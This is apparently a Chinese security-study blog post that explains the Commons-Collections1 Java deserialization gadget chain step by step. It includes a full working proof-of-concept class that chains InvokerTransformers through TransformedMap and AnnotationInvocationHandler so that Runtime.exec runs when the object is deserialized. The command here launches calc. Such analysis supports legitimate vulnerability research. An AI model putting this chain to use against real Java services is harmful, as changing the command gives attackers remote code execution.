Commons-Collections1
测试代码
先给出完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CC1TestFinal {
public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
Map map = new HashMap();
map.put("value","fuck");
Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class annotationinvocationhandlerclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = annotationinvocationhandlerclass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
System.out.println();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
分析
这条链最后执行任意方法的点就是InvokerTransformer
类的transform
方法
大概就是接收一个输入,不为空就获取它的Class
,然后获取这个类的某一个方法,然后反射调用这个方法
这里看到InvokerTransformer
的构造方法,这里的methodName
感觉是可控的,所以用这个方法去调用Runtime.getRuntime().exec()
,先写一个命令执行的形式
Runtime.getRuntime().exec("calc");
然后利用反射的形式实现
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
因为Runtime这个类不能被序列化,所以上面的代码就用Class起手实现
Class runtimeClass = Runtime.class;
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
回到cc1这里,改用InvokerTransformer
实现
Class runtimeClass = Runtime.class;
Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);
Runtime runtime =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
这里等于是重复调用了transform
方法,在ChainedTransformer
这个类中有一个构造方法和函数,可以实现链式调用
把上面再改写成ChainedTransformer
的形式
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
然后就是细说一下这里面的东西,看一下,这里transform
获取了input
的Class
类,正好对应上了Runtime
类,然后iMethodName
理想状况下应该是getRuntime
可以看到getRuntime
是一个无参数的方法,所以这里iArgs
应该是为null
第一句Class runtimeClass = Runtime.class;
是获取Runtime
的Class
类
然后根据InvokerTransformer
new一个对象,第一个参数是方法名,第二个数组参数是参数类型,第三个数组参数是方法参数,这里因为传的是Class类型,所以第一步需要获取getMethod
方法,对应的第一个参数就是getMethod
用getMethod的目的是调用getRuntime,而getMethod的第一个参数是String类型,第二个参数是null,所以第二个参数就是new Class[]{String.class,Class[].class}
然后调用transform
得到Method
类型的对象getRuntimeMethod
剩下两次的new InvokerTransformer
同理
构造好这部分之后先放着不动,接下来找一下都有哪些类调用了transform
方法
这里找到了TransformedMap
类的checkSetValue
方法
继续找调用checkSetValue
的地方,找到了AbstractInputCheckedMapDecorator
类的setValue
方法
继续找调用setValue
的地方,在AnnotationInvocationHandler
类中,正好readObject
方法调用到了setValue
整条连倒着推过来大概就是这样
然后就是写TransformedMap
的部分
这个类中的decorate
方法会返回一个TransformedMap
的实例,并且它的三个参数是我们可以控制的,而valueTransformer
调用了transform
方法,也就是说只要让valueTransformer
参数是chainedTransformer
就可以触发
这里new一个Map
对象,然后设置一个键值对,至于为什么是这两个值,后面再讨论
Map map = new HashMap();
map.put("value","fuck");
Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer)
入口类调用了checkSetValue
,接下来写这一部分
根据英文的意思,annotationType就是注解类型,常见的就是Override
、Target
……,这里代码大致的意思是获取注解的成员变量,为什么用Target
,因为它的成员变量不为空,代码后边会根据Map
的key查找注解类型是否存在key成员变量,所以put
的时候key值要设置成Target
的成员变量value
最后就是完善这一部分
Class annotationinvocationhandlerclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = annotationinvocationhandlerclass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class,transformedMap);
这条链就结束了
参考链接
https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.1007.top_right_bar_window_default_collection.content.click&vd_source=0e561107bf71895281374fc0b905ae17
nsformedMap);